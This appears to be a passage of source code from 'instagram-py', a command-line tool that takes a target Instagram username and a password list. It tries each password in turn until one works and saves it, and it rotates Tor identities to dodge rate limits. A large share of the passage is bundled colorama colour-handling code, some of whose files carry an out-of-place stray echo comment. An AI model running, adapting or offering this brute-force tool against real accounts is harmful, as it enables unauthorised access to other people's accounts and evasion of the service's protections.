241 | def CurrentPassword(self):
242 | return self.password
243 |
244 | '''
245 | NextPassword()
246 | - increaments and sets the next password as our current password
247 | '''
248 |
249 | def NextPassword(self):
250 | if not self.current_line > self.password_list_length:
251 | for line in self.password_list_buffer:
252 | self.password = str(line.rstrip())
253 | break
254 | self.current_line += 1
255 | else:
256 | self.eopl = True
257 |
258 | '''
259 | GetUsername()
260 | - returns current session username
261 | '''
262 |
263 | def GetUsername(self):
264 | return self.username
265 |
266 | '''
267 | md5sum( FILE POINTER , BLOCK SIZE)
268 | - opens large files from FILE POINTER
269 | - calculates md5 with BLOCK SIZE with respect to FILE POINTER
270 | - finalizes and returns a hashlib object!
271 | '''
272 |
273 | def md5sum(self, fp, block_size=2**20):
274 | md5 = hashlib.md5()
275 | while True:
276 | data = fp.read(block_size)
277 | if not data:
278 | break
279 | md5.update(data)
280 | return md5
281 |
282 | '''
283 | ChangeIPAddress()
284 | - stem <-> Signal
285 | - Changes Tor Identity with the controller!
286 | '''
287 |
288 | def ChangeIPAddress(self):
289 | if not self.tor_controller == None:
290 | # signal tor to change ip
291 | self.tor_controller.signal(Signal.NEWNYM)
292 | self.ip = self.bot.get(
293 | 'https://icanhazip.com').content.rstrip().decode()
294 | return True
295 | return False
296 |
297 | '''
298 | OpenTorController(PORT , PASSWORD)
299 | - Creates a fresh tor controller instance to the session
300 | '''
301 |
302 | def OpenTorController(self, port, password):
303 | try:
304 | self.tor_controller = Controller.from_port(port=int(port))
305 | if password == None:
306 | self.tor_controller.authenticate()
307 | else:
308 | self.tor_controller.authenticate(password=password)
309 | except Exception as err:
310 | self.cli.ReportError(
311 | "Tor configuration invalid or server down :: {}".format(err))
312 |
--------------------------------------------------------------------------------
/instagram-py/InstagramPy/__init__.py:
--------------------------------------------------------------------------------
1 | # The MIT License.
2 |
3 | # @filename : __init__.py
4 | # @description : The traditional python package __init__ file
5 |
6 | import argparse
7 | import os
8 | import sys
9 | from .InstagramPyCLI import InstagramPyCLI
10 | from .InstagramPySession import InstagramPySession, DEFAULT_PATH
11 | from .InstagramPyInstance import InstagramPyInstance
12 | from .InstagramPyDumper import InstagramPyDumper
13 | from .InstagramPyScript import InstagramPyScript
14 | from .InstagramPyConfigurationCreator import InstagramPyConfigurationCreator
15 | from datetime import datetime
16 | from .AppInfo import appInfo as AppInformation
17 | from .colors import *
18 |
19 | __version__ = AppInformation['version']
20 |
21 |
22 | '''
23 | Arguments for instagram-py command-line tool
24 | '''
25 | cli_parser = argparse.ArgumentParser(
26 | epilog=AppInformation['example']
27 | )
28 |
29 | # nargs = '+' , makes them positional argument.
30 | cli_parser.add_argument('--username', # parse username from command line
31 | '-u',
32 | type=str,
33 | help='username for Instagram account'
34 | )
35 |
36 | cli_parser.add_argument('--password-list', # parse path to password list file
37 | '-pl',
38 | type=str,
39 | help='password list file to try with the given username.'
40 | )
41 |
42 | cli_parser.add_argument('--script',
43 | '-s',
44 | type=str,
45 | help='Instagram-Py Attack Script.'
46 | )
47 |
48 | cli_parser.add_argument('--inspect-username',
49 | '-i',
50 | type=str,
51 | help='Username to inspect in the instagram-py dump.'
52 | )
53 |
54 | cli_parser.add_argument('--create-configuration',
55 | '-cc',
56 | action='count',
57 | help='Create a Configuration file for Instagram-Py with ease.'
58 | )
59 |
60 | cli_parser.add_argument('--default-configuration',
61 | '-dc',
62 | action='count',
63 | help='noconfirm for Instagram-Py Configuration Creator!'
64 | )
65 |
66 | cli_parser.add_argument('--countinue',
67 | '-c',
68 | action='count',
69 | help='Countinue the previous attack if found.'
70 | )
71 | cli_parser.add_argument('--verbose', # check if the user wants verbose mode enabled
72 | '-v',
73 | action='count',
74 | help='Activate Verbose mode. ( Verbose level )'
75 | )
76 |
77 |
78 | def ExecuteInstagramPy():
79 | Parsed = cli_parser.parse_args()
80 |
81 | if Parsed.create_configuration is not None:
82 | if Parsed.default_configuration is not None:
83 | InstagramPyConfigurationCreator(os.path.expanduser(
84 | '~') + "/instapy-config.json").create()
85 | else:
86 | InstagramPyConfigurationCreator(os.path.expanduser(
87 | '~') + "/instapy-config.json").easy_create()
88 | elif Parsed.inspect_username is not None:
89 | InstagramPyDumper(Parsed.inspect_username).Dump()
90 | elif Parsed.script is not None:
91 | if not os.path.isfile(Parsed.script):
92 | print("No Attack Script found at {}".format(Parsed.script))
93 | sys.exit(-1)
94 | InstagramPyScript(Parsed.script).run()
95 | elif Parsed.username is not None and Parsed.password_list is not None:
96 | cli = InstagramPyCLI(appinfo=AppInformation,
97 | started=datetime.now(), verbose_level=Parsed.verbose, username=Parsed.username)
98 |
99 | cli.PrintHeader()
100 | cli.PrintDatetime()
101 | session = InstagramPySession(
102 | Parsed.username, Parsed.password_list, DEFAULT_PATH, DEFAULT_PATH, cli)
103 | session.ReadSaveFile(Parsed.countinue)
104 | instagrampy = InstagramPyInstance(cli, session)
105 | while not instagrampy.PasswordFound():
106 | instagrampy.TryPassword()
107 | session.WriteDumpFile(
108 | {
109 | "id": Parsed.username,
110 | "password": session.CurrentPassword(),
111 | "started": str(cli.started)
112 | }
113 | )
114 | else:
115 | cli_parser.print_help()
116 | print('\n{}Report bug, suggestions and new features at {}{}https://github.com/deathsec/instagram-py{}'
117 | .format(Fore.GREEN,
118 | Style.RESET_ALL,
119 | Style.BRIGHT,
120 | Style.RESET_ALL
121 | ))
122 | sys.exit(0)
123 |
--------------------------------------------------------------------------------
/instagram-py/InstagramPy/colors/__init__.py:
--------------------------------------------------------------------------------
1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.
2 | # i="1"; echo -e '#!/usr/bin/env bash\nmyprogram -i '"\"input_${i}.txt\""
3 | from .initialise import init, deinit, reinit, colorama_text
4 | from .ansi import Fore, Back, Style, Cursor
5 | from .ansitowin32 import AnsiToWin32
6 |
7 | __version__ = '0.3.11'
8 |
9 |
--------------------------------------------------------------------------------
/instagram-py/InstagramPy/colors/ansi.py:
--------------------------------------------------------------------------------
1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.
2 | '''
3 | # i="1"; echo -e '#!/usr/bin/env bash\nmyprogram -i '"\"input_${i}.txt\""
4 | This module generates ANSI character codes to printing colors to terminals.
5 | See: http://en.wikipedia.org/wiki/ANSI_escape_code
6 | '''
7 |
8 | CSI = '\033['
9 | OSC = '\033]'
10 | BEL = '\007'
11 |
12 |
13 | def code_to_chars(code):
14 | return CSI + str(code) + 'm'
15 |
16 | def set_title(title):
17 | return OSC + '2;' + title + BEL
18 |
19 | def clear_screen(mode=2):
20 | return CSI + str(mode) + 'J'
21 |
22 | def clear_line(mode=2):
23 | return CSI + str(mode) + 'K'
24 |
25 |
26 | class AnsiCodes(object):
27 | def __init__(self):
28 | # the subclasses declare class attributes which are numbers.
29 | # Upon instantiation we define instance attributes, which are the same
30 | # as the class attributes but wrapped with the ANSI escape sequence
31 | for name in dir(self):
32 | if not name.startswith('_'):
33 | value = getattr(self, name)
34 | setattr(self, name, code_to_chars(value))
35 |
36 |
37 | class AnsiCursor(object):
38 | def UP(self, n=1):
39 | return CSI + str(n) + 'A'
40 | def DOWN(self, n=1):
41 | return CSI + str(n) + 'B'
42 | def FORWARD(self, n=1):
43 | return CSI + str(n) + 'C'
44 | def BACK(self, n=1):
45 | return CSI + str(n) + 'D'
46 | def POS(self, x=1, y=1):
47 | return CSI + str(y) + ';' + str(x) + 'H'
48 |
49 |
50 | class AnsiFore(AnsiCodes):
51 | BLACK = 30
52 | RED = 31
53 | GREEN = 32
54 | YELLOW = 33
55 | BLUE = 34
56 | MAGENTA = 35
57 | CYAN = 36
58 | WHITE = 37
59 | RESET = 39
60 |
61 | # These are fairly well supported, but not part of the standard.
62 | LIGHTBLACK_EX = 90
63 | LIGHTRED_EX = 91
64 | LIGHTGREEN_EX = 92
65 | LIGHTYELLOW_EX = 93
66 | LIGHTBLUE_EX = 94
67 | LIGHTMAGENTA_EX = 95
68 | LIGHTCYAN_EX = 96
69 | LIGHTWHITE_EX = 97
70 |
71 |
72 | class AnsiBack(AnsiCodes):
73 | BLACK = 40
74 | RED = 41
75 | GREEN = 42
76 | YELLOW = 43
77 | BLUE = 44
78 | MAGENTA = 45
79 | CYAN = 46
80 | WHITE = 47
81 | RESET = 49
82 |
83 | # These are fairly well supported, but not part of the standard.
84 | LIGHTBLACK_EX = 100
85 | LIGHTRED_EX = 101
86 | LIGHTGREEN_EX = 102
87 | LIGHTYELLOW_EX = 103
88 | LIGHTBLUE_EX = 104
89 | LIGHTMAGENTA_EX = 105
90 | LIGHTCYAN_EX = 106
91 | LIGHTWHITE_EX = 107
92 |
93 |
94 | class AnsiStyle(AnsiCodes):
95 | BRIGHT = 1
96 | DIM = 2
97 | NORMAL = 22
98 | RESET_ALL = 0
99 |
100 | Fore = AnsiFore()
101 | Back = AnsiBack()
102 | Style = AnsiStyle()
103 | Cursor = AnsiCursor()
104 |
--------------------------------------------------------------------------------
/instagram-py/InstagramPy/colors/ansitowin32.py:
--------------------------------------------------------------------------------
1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.
2 | import re
3 | import sys
4 | import os
5 | # i="1"; echo -e '#!/usr/bin/env bash\nmyprogram -i '"\"input_${i}.txt\""
6 |
7 | from .ansi import AnsiFore, AnsiBack, AnsiStyle, Style
8 | from .winterm import WinTerm, WinColor, WinStyle
9 | from .win32 import windll, winapi_test
10 |
11 |
12 | winterm = None
13 | if windll is not None:
14 | winterm = WinTerm()
15 |
16 |
17 | def is_stream_closed(stream):
18 | return not hasattr(stream, 'closed') or stream.closed
19 |
20 |
21 | def is_a_tty(stream):
22 | return hasattr(stream, 'isatty') and stream.isatty()
23 |
24 |
25 | class StreamWrapper(object):
26 | '''
27 | Wraps a stream (such as stdout), acting as a transparent proxy for all
28 | attribute access apart from method 'write()', which is delegated to our
29 | Converter instance.
30 | '''
31 | def __init__(self, wrapped, converter):
32 | # double-underscore everything to prevent clashes with names of
33 | # attributes on the wrapped stream object.
34 | self.__wrapped = wrapped
35 | self.__convertor = converter
36 |
37 | def __getattr__(self, name):
38 | return getattr(self.__wrapped, name)
39 |
40 | def write(self, text):
41 | self.__convertor.write(text)
42 |
43 |
44 | class AnsiToWin32(object):
45 | '''
46 | Implements a 'write()' method which, on Windows, will strip ANSI character
47 | sequences from the text, and if outputting to a tty, will convert them into
48 | win32 function calls.
49 | '''
50 | ANSI_CSI_RE = re.compile('\001?\033\\[((?:\\d|;)*)([a-zA-Z])\002?') # Control Sequence Introducer
51 | ANSI_OSC_RE = re.compile('\001?\033\\]((?:.|;)*?)(\x07)\002?') # Operating System Command
52 |
53 | def __init__(self, wrapped, convert=None, strip=None, autoreset=False):
54 | # The wrapped stream (normally sys.stdout or sys.stderr)
55 | self.wrapped = wrapped
56 |
57 | # should we reset colors to defaults after every .write()
58 | self.autoreset = autoreset
59 |
60 | # create the proxy wrapping our output stream
61 | self.stream = StreamWrapper(wrapped, self)
62 |
63 | on_windows = os.name == 'nt'
64 | # We test if the WinAPI works, because even if we are on Windows
65 | # we may be using a terminal that doesn't support the WinAPI
66 | # (e.g. Cygwin Terminal). In this case it's up to the terminal
67 | # to support the ANSI codes.
68 | conversion_supported = on_windows and winapi_test()
69 |
70 | # should we strip ANSI sequences from our output?
71 | if strip is None:
72 | strip = conversion_supported or (not is_stream_closed(wrapped) and not is_a_tty(wrapped))
73 | self.strip = strip
74 |
75 | # should we should convert ANSI sequences into win32 calls?
76 | if convert is None:
77 | convert = conversion_supported and not is_stream_closed(wrapped) and is_a_tty(wrapped)
78 | self.convert = convert
79 |
80 | # dict of ansi codes to win32 functions and parameters
81 | self.win32_calls = self.get_win32_calls()
82 |
83 | # are we wrapping stderr?
84 | self.on_stderr = self.wrapped is sys.stderr
85 |
86 | def should_wrap(self):
87 | '''
88 | True if this class is actually needed. If false, then the output
89 | stream will not be affected, nor will win32 calls be issued, so
90 | wrapping stdout is not actually required. This will generally be
91 | False on non-Windows platforms, unless optional functionality like
92 | autoreset has been requested using kwargs to init()
93 | '''
94 | return self.convert or self.strip or self.autoreset
95 |
96 | def get_win32_calls(self):
97 | if self.convert and winterm:
98 | return {
99 | AnsiStyle.RESET_ALL: (winterm.reset_all, ),
100 | AnsiStyle.BRIGHT: (winterm.style, WinStyle.BRIGHT),
101 | AnsiStyle.DIM: (winterm.style, WinStyle.NORMAL),
102 | AnsiStyle.NORMAL: (winterm.style, WinStyle.NORMAL),
103 | AnsiFore.BLACK: (winterm.fore, WinColor.BLACK),
104 | AnsiFore.RED: (winterm.fore, WinColor.RED),
105 | AnsiFore.GREEN: (winterm.fore, WinColor.GREEN),
106 | AnsiFore.YELLOW: (winterm.fore, WinColor.YELLOW),
107 | AnsiFore.BLUE: (winterm.fore, WinColor.BLUE),
108 | AnsiFore.MAGENTA: (winterm.fore, WinColor.MAGENTA),
109 | AnsiFore.CYAN: (winterm.fore, WinColor.CYAN),
110 | AnsiFore.WHITE: (winterm.fore, WinColor.GREY),
111 | AnsiFore.RESET: (winterm.fore, ),
112 | AnsiFore.LIGHTBLACK_EX: (winterm.fore, WinColor.BLACK, True),
113 | AnsiFore.LIGHTRED_EX: (winterm.fore, WinColor.RED, True),
114 | AnsiFore.LIGHTGREEN_EX: (winterm.fore, WinColor.GREEN, True),
115 | AnsiFore.LIGHTYELLOW_EX: (winterm.fore, WinColor.YELLOW, True),
116 | AnsiFore.LIGHTBLUE_EX: (winterm.fore, WinColor.BLUE, True),
117 | AnsiFore.LIGHTMAGENTA_EX: (winterm.fore, WinColor.MAGENTA, True),
118 | AnsiFore.LIGHTCYAN_EX: (winterm.fore, WinColor.CYAN, True),
119 | AnsiFore.LIGHTWHITE_EX: (winterm.fore, WinColor.GREY, True),
120 | AnsiBack.BLACK: (winterm.back, WinColor.BLACK),
121 | AnsiBack.RED: (winterm.back, WinColor.RED),
122 | AnsiBack.GREEN: (winterm.back, WinColor.GREEN),
123 | AnsiBack.YELLOW: (winterm.back, WinColor.YELLOW),
124 | AnsiBack.BLUE: (winterm.back, WinColor.BLUE),
125 | AnsiBack.MAGENTA: (winterm.back, WinColor.MAGENTA),
126 | AnsiBack.CYAN: (winterm.back, WinColor.CYAN),
127 | AnsiBack.WHITE: (winterm.back, WinColor.GREY),
128 | AnsiBack.RESET: (winterm.back, ),
129 | AnsiBack.LIGHTBLACK_EX: (winterm.back, WinColor.BLACK, True),
130 | AnsiBack.LIGHTRED_EX: (winterm.back, WinColor.RED, True),
131 | AnsiBack.LIGHTGREEN_EX: (winterm.back, WinColor.GREEN, True),
132 | AnsiBack.LIGHTYELLOW_EX: (winterm.back, WinColor.YELLOW, True),
133 | AnsiBack.LIGHTBLUE_EX: (winterm.back, WinColor.BLUE, True),
134 | AnsiBack.LIGHTMAGENTA_EX: (winterm.back, WinColor.MAGENTA, True),
135 | AnsiBack.LIGHTCYAN_EX: (winterm.back, WinColor.CYAN, True),
136 | AnsiBack.LIGHTWHITE_EX: (winterm.back, WinColor.GREY, True),
137 | }
138 | return dict()
139 |
140 | def write(self, text):
141 | if self.strip or self.convert:
142 | self.write_and_convert(text)
143 | else:
144 | self.wrapped.write(text)
145 | self.wrapped.flush()
146 | if self.autoreset:
147 | self.reset_all()
148 |
149 |
150 | def reset_all(self):
151 | if self.convert:
152 | self.call_win32('m', (0,))
153 | elif not self.strip and not is_stream_closed(self.wrapped):
154 | self.wrapped.write(Style.RESET_ALL)
155 |
156 |
157 | def write_and_convert(self, text):
158 | '''
159 | Write the given text to our wrapped stream, stripping any ANSI
160 | sequences from the text, and optionally converting them into win32
161 | calls.
162 | '''
163 | cursor = 0
164 | text = self.convert_osc(text)
165 | for match in self.ANSI_CSI_RE.finditer(text):
166 | start, end = match.span()
167 | self.write_plain_text(text, cursor, start)
168 | self.convert_ansi(*match.groups())
169 | cursor = end
170 | self.write_plain_text(text, cursor, len(text))
171 |
172 |
173 | def write_plain_text(self, text, start, end):
174 | if start < end:
175 | self.wrapped.write(text[start:end])
176 | self.wrapped.flush()
177 |
178 |
179 | def convert_ansi(self, paramstring, command):
180 | if self.convert:
181 | params = self.extract_params(command, paramstring)
182 | self.call_win32(command, params)
183 |
184 |
185 | def extract_params(self, command, paramstring):
186 | if command in 'Hf':
187 | params = tuple(int(p) if len(p) != 0 else 1 for p in paramstring.split(';'))
188 | while len(params) < 2:
189 | # defaults:
190 | params = params + (1,)
191 | else:
192 | params = tuple(int(p) for p in paramstring.split(';') if len(p) != 0)
193 | if len(params) == 0:
194 | # defaults:
195 | if command in 'JKm':
196 | params = (0,)
197 | elif command in 'ABCD':
198 | params = (1,)
199 |
200 | return params
201 |
202 |
203 | def call_win32(self, command, params):
204 | if command == 'm':
205 | for param in params:
206 | if param in self.win32_calls:
207 | func_args = self.win32_calls[param]
208 | func = func_args[0]
209 | args = func_args[1:]
210 | kwargs = dict(on_stderr=self.on_stderr)
211 | func(*args, **kwargs)
212 | elif command in 'J':
213 | winterm.erase_screen(params[0], on_stderr=self.on_stderr)
214 | elif command in 'K':
215 | winterm.erase_line(params[0], on_stderr=self.on_stderr)
216 | elif command in 'Hf': # cursor position - absolute
217 | winterm.set_cursor_position(params, on_stderr=self.on_stderr)
218 | elif command in 'ABCD': # cursor position - relative
219 | n = params[0]
220 | # A - up, B - down, C - forward, D - back
221 | x, y = {'A': (0, -n), 'B': (0, n), 'C': (n, 0), 'D': (-n, 0)}[command]
222 | winterm.cursor_adjust(x, y, on_stderr=self.on_stderr)
223 |
224 |
225 | def convert_osc(self, text):
226 | for match in self.ANSI_OSC_RE.finditer(text):
227 | start, end = match.span()
228 | text = text[:start] + text[end:]
229 | paramstring, command = match.groups()
230 | if command in '\x07': # \x07 = BEL
231 | params = paramstring.split(";")
232 | # 0 - change title and icon (we will only change title)
233 | # 1 - change icon (we don't support this)
234 | # 2 - change title
235 | if params[0] in '02':
236 | winterm.set_title(params[1])
237 | return text
238 |
--------------------------------------------------------------------------------
/instagram-py/InstagramPy/colors/initialise.py:
--------------------------------------------------------------------------------
1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.
2 | import atexit
3 | import contextlib
4 | import sys
5 | # i="1"; echo -e '#!/usr/bin/env bash\nmyprogram -i '"\"input_${i}.txt\""
6 | from .ansitowin32 import AnsiToWin32
7 |
8 |
9 | orig_stdout = None
10 | orig_stderr = None
11 |
12 | wrapped_stdout = None
13 | wrapped_stderr = None
14 |
15 | atexit_done = False
16 |
17 |
18 | def reset_all():
19 | if AnsiToWin32 is not None: # Issue #74: objects might become None at exit
20 | AnsiToWin32(orig_stdout).reset_all()
21 |
22 |
23 | def init(autoreset=False, convert=None, strip=None, wrap=True):
24 |
25 | if not wrap and any([autoreset, convert, strip]):
26 | raise ValueError('wrap=False conflicts with any other arg=True')
27 |
28 | global wrapped_stdout, wrapped_stderr
29 | global orig_stdout, orig_stderr
30 |
31 | orig_stdout = sys.stdout
32 | orig_stderr = sys.stderr
33 |
34 | if sys.stdout is None:
35 | wrapped_stdout = None
36 | else:
37 | sys.stdout = wrapped_stdout = \
38 | wrap_stream(orig_stdout, convert, strip, autoreset, wrap)
39 | if sys.stderr is None:
40 | wrapped_stderr = None
41 | else:
42 | sys.stderr = wrapped_stderr = \
43 | wrap_stream(orig_stderr, convert, strip, autoreset, wrap)
44 |
45 | global atexit_done
46 | if not atexit_done:
47 | atexit.register(reset_all)
48 | atexit_done = True
49 |
50 |
51 | def deinit():
52 | if orig_stdout is not None:
53 | sys.stdout = orig_stdout
54 | if orig_stderr is not None:
55 | sys.stderr = orig_stderr
56 |
57 |
58 | @contextlib.contextmanager
59 | def colorama_text(*args, **kwargs):
60 | init(*args, **kwargs)
61 | try:
62 | yield
63 | finally:
64 | deinit()
65 |
66 |
67 | def reinit():
68 | if wrapped_stdout is not None:
69 | sys.stdout = wrapped_stdout
70 | if wrapped_stderr is not None:
71 | sys.stderr = wrapped_stderr
72 |
73 |
74 | def wrap_stream(stream, convert, strip, autoreset, wrap):
75 | if wrap:
76 | wrapper = AnsiToWin32(stream,
77 | convert=convert, strip=strip, autoreset=autoreset)
78 | if wrapper.should_wrap():
79 | stream = wrapper.stream
80 | return stream
81 |
82 |
83 |
--------------------------------------------------------------------------------
/instagram-py/InstagramPy/colors/win32.py:
--------------------------------------------------------------------------------
1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.
2 | # i="1"; echo -e '#!/usr/bin/env bash\nmyprogram -i '"\"input_${i}.txt\""
3 | # from winbase.h
4 | STDOUT = -11
5 | STDERR = -12
6 |
7 | try:
8 | import ctypes
9 | from ctypes import LibraryLoader
10 | windll = LibraryLoader(ctypes.WinDLL)
11 | from ctypes import wintypes
12 | except (AttributeError, ImportError):
13 | windll = None
14 | SetConsoleTextAttribute = lambda *_: None
15 | winapi_test = lambda *_: None
16 | else:
17 | from ctypes import byref, Structure, c_char, POINTER
18 |
19 | COORD = wintypes._COORD
20 |
21 | class CONSOLE_SCREEN_BUFFER_INFO(Structure):
22 | """struct in wincon.h."""
23 | _fields_ = [
24 | ("dwSize", COORD),
25 | ("dwCursorPosition", COORD),
26 | ("wAttributes", wintypes.WORD),
27 | ("srWindow", wintypes.SMALL_RECT),
28 | ("dwMaximumWindowSize", COORD),
29 | ]
30 | def __str__(self):
31 | return '(%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d)' % (
32 | self.dwSize.Y, self.dwSize.X
33 | , self.dwCursorPosition.Y, self.dwCursorPosition.X
34 | , self.wAttributes
35 | , self.srWindow.Top, self.srWindow.Left, self.srWindow.Bottom, self.srWindow.Right
36 | , self.dwMaximumWindowSize.Y, self.dwMaximumWindowSize.X
37 | )
38 |
39 | _GetStdHandle = windll.kernel32.GetStdHandle
40 | _GetStdHandle.argtypes = [
41 | wintypes.DWORD,
42 | ]
43 | _GetStdHandle.restype = wintypes.HANDLE
44 |
45 | _GetConsoleScreenBufferInfo = windll.kernel32.GetConsoleScreenBufferInfo
46 | _GetConsoleScreenBufferInfo.argtypes = [
47 | wintypes.HANDLE,
48 | POINTER(CONSOLE_SCREEN_BUFFER_INFO),
49 | ]
50 | _GetConsoleScreenBufferInfo.restype = wintypes.BOOL
51 |
52 | _SetConsoleTextAttribute = windll.kernel32.SetConsoleTextAttribute
53 | _SetConsoleTextAttribute.argtypes = [
54 | wintypes.HANDLE,
55 | wintypes.WORD,
56 | ]
57 | _SetConsoleTextAttribute.restype = wintypes.BOOL
58 |
59 | _SetConsoleCursorPosition = windll.kernel32.SetConsoleCursorPosition
60 | _SetConsoleCursorPosition.argtypes = [
61 | wintypes.HANDLE,
62 | COORD,
63 | ]
64 | _SetConsoleCursorPosition.restype = wintypes.BOOL
65 |
66 | _FillConsoleOutputCharacterA = windll.kernel32.FillConsoleOutputCharacterA
67 | _FillConsoleOutputCharacterA.argtypes = [
68 | wintypes.HANDLE,
69 | c_char,
70 | wintypes.DWORD,
71 | COORD,
72 | POINTER(wintypes.DWORD),
73 | ]
74 | _FillConsoleOutputCharacterA.restype = wintypes.BOOL
75 |
76 | _FillConsoleOutputAttribute = windll.kernel32.FillConsoleOutputAttribute
77 | _FillConsoleOutputAttribute.argtypes = [
78 | wintypes.HANDLE,
79 | wintypes.WORD,
80 | wintypes.DWORD,
81 | COORD,
82 | POINTER(wintypes.DWORD),
83 | ]
84 | _FillConsoleOutputAttribute.restype = wintypes.BOOL
85 |
86 | _SetConsoleTitleW = windll.kernel32.SetConsoleTitleW
87 | _SetConsoleTitleW.argtypes = [
88 | wintypes.LPCWSTR
89 | ]
90 | _SetConsoleTitleW.restype = wintypes.BOOL
91 |
92 | handles = {
93 | STDOUT: _GetStdHandle(STDOUT),
94 | STDERR: _GetStdHandle(STDERR),
95 | }
96 |
97 | def _winapi_test(handle):
98 | csbi = CONSOLE_SCREEN_BUFFER_INFO()
99 | success = _GetConsoleScreenBufferInfo(
100 | handle, byref(csbi))
101 | return bool(success)
102 |
103 | def winapi_test():
104 | return any(_winapi_test(h) for h in handles.values())
105 |
106 | def GetConsoleScreenBufferInfo(stream_id=STDOUT):
107 | handle = handles[stream_id]
108 | csbi = CONSOLE_SCREEN_BUFFER_INFO()
109 | success = _GetConsoleScreenBufferInfo(
110 | handle, byref(csbi))
111 | return csbi
112 |
113 | def SetConsoleTextAttribute(stream_id, attrs):
114 | handle = handles[stream_id]
115 | return _SetConsoleTextAttribute(handle, attrs)
116 |
117 | def SetConsoleCursorPosition(stream_id, position, adjust=True):
118 | position = COORD(*position)
119 | # If the position is out of range, do nothing.
120 | if position.Y <= 0 or position.X <= 0:
121 | return
122 | # Adjust for Windows' SetConsoleCursorPosition:
123 | # 1. being 0-based, while ANSI is 1-based.
124 | # 2. expecting (x,y), while ANSI uses (y,x).
125 | adjusted_position = COORD(position.Y - 1, position.X - 1)
126 | if adjust:
127 | # Adjust for viewport's scroll position
128 | sr = GetConsoleScreenBufferInfo(STDOUT).srWindow
129 | adjusted_position.Y += sr.Top
130 | adjusted_position.X += sr.Left
131 | # Resume normal processing
132 | handle = handles[stream_id]
133 | return _SetConsoleCursorPosition(handle, adjusted_position)
134 |
135 | def FillConsoleOutputCharacter(stream_id, char, length, start):
136 | handle = handles[stream_id]
137 | char = c_char(char.encode())
138 | length = wintypes.DWORD(length)
139 | num_written = wintypes.DWORD(0)
140 | # Note that this is hard-coded for ANSI (vs wide) bytes.
141 | success = _FillConsoleOutputCharacterA(
142 | handle, char, length, start, byref(num_written))
143 | return num_written.value
144 |
145 | def FillConsoleOutputAttribute(stream_id, attr, length, start):
146 | ''' FillConsoleOutputAttribute( hConsole, csbi.wAttributes, dwConSize, coordScreen, &cCharsWritten )'''
147 | handle = handles[stream_id]
148 | attribute = wintypes.WORD(attr)
149 | length = wintypes.DWORD(length)
150 | num_written = wintypes.DWORD(0)
151 | # Note that this is hard-coded for ANSI (vs wide) bytes.
152 | return _FillConsoleOutputAttribute(
153 | handle, attribute, length, start, byref(num_written))
154 |
155 | def SetConsoleTitle(title):
156 | return _SetConsoleTitleW(title)
157 |
--------------------------------------------------------------------------------
/instagram-py/InstagramPy/colors/winterm.py:
--------------------------------------------------------------------------------
1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.
2 | from . import win32
3 | # i="1"; echo -e '#!/usr/bin/env bash\nmyprogram -i '"\"input_${i}.txt\""
4 |
5 | # from wincon.h
6 | class WinColor(object):
7 | BLACK = 0
8 | BLUE = 1
9 | GREEN = 2
10 | CYAN = 3
11 | RED = 4
12 | MAGENTA = 5
13 | YELLOW = 6
14 | GREY = 7
15 |
16 | # from wincon.h
17 | class WinStyle(object):
18 | NORMAL = 0x00 # dim text, dim background
19 | BRIGHT = 0x08 # bright text, dim background
20 | BRIGHT_BACKGROUND = 0x80 # dim text, bright background
21 |
22 | class WinTerm(object):
23 |
24 | def __init__(self):
25 | self._default = win32.GetConsoleScreenBufferInfo(win32.STDOUT).wAttributes
26 | self.set_attrs(self._default)
27 | self._default_fore = self._fore
28 | self._default_back = self._back
29 | self._default_style = self._style
30 | # In order to emulate LIGHT_EX in windows, we borrow the BRIGHT style.
31 | # So that LIGHT_EX colors and BRIGHT style do not clobber each other,
32 | # we track them separately, since LIGHT_EX is overwritten by Fore/Back
33 | # and BRIGHT is overwritten by Style codes.
34 | self._light = 0
35 |
36 | def get_attrs(self):
37 | return self._fore + self._back * 16 + (self._style | self._light)
38 |
39 | def set_attrs(self, value):
40 | self._fore = value & 7
41 | self._back = (value >> 4) & 7
42 | self._style = value & (WinStyle.BRIGHT | WinStyle.BRIGHT_BACKGROUND)
43 |
44 | def reset_all(self, on_stderr=None):
45 | self.set_attrs(self._default)
46 | self.set_console(attrs=self._default)
47 | self._light = 0
48 |
49 | def fore(self, fore=None, light=False, on_stderr=False):
50 | if fore is None:
51 | fore = self._default_fore
52 | self._fore = fore
53 | # Emulate LIGHT_EX with BRIGHT Style
54 | if light:
55 | self._light |= WinStyle.BRIGHT
56 | else:
57 | self._light &= ~WinStyle.BRIGHT
58 | self.set_console(on_stderr=on_stderr)
59 |
60 | def back(self, back=None, light=False, on_stderr=False):
61 | if back is None:
62 | back = self._default_back
63 | self._back = back
64 | # Emulate LIGHT_EX with BRIGHT_BACKGROUND Style
65 | if light:
66 | self._light |= WinStyle.BRIGHT_BACKGROUND
67 | else:
68 | self._light &= ~WinStyle.BRIGHT_BACKGROUND
69 | self.set_console(on_stderr=on_stderr)
70 |
71 | def style(self, style=None, on_stderr=False):
72 | if style is None:
73 | style = self._default_style
74 | self._style = style
75 | self.set_console(on_stderr=on_stderr)
76 |
77 | def set_console(self, attrs=None, on_stderr=False):
78 | if attrs is None:
79 | attrs = self.get_attrs()
80 | handle = win32.STDOUT
81 | if on_stderr:
82 | handle = win32.STDERR
83 | win32.SetConsoleTextAttribute(handle, attrs)
84 |
85 | def get_position(self, handle):
86 | position = win32.GetConsoleScreenBufferInfo(handle).dwCursorPosition
87 | # Because Windows coordinates are 0-based,
88 | # and win32.SetConsoleCursorPosition expects 1-based.
89 | position.X += 1
90 | position.Y += 1
91 | return position
92 |
93 | def set_cursor_position(self, position=None, on_stderr=False):
94 | if position is None:
95 | # I'm not currently tracking the position, so there is no default.
96 | # position = self.get_position()
97 | return
98 | handle = win32.STDOUT
99 | if on_stderr:
100 | handle = win32.STDERR
101 | win32.SetConsoleCursorPosition(handle, position)
102 |
103 | def cursor_adjust(self, x, y, on_stderr=False):
104 | handle = win32.STDOUT
105 | if on_stderr:
106 | handle = win32.STDERR
107 | position = self.get_position(handle)
108 | adjusted_position = (position.Y + y, position.X + x)
109 | win32.SetConsoleCursorPosition(handle, adjusted_position, adjust=False)
110 |
111 | def erase_screen(self, mode=0, on_stderr=False):
112 | # 0 should clear from the cursor to the end of the screen.
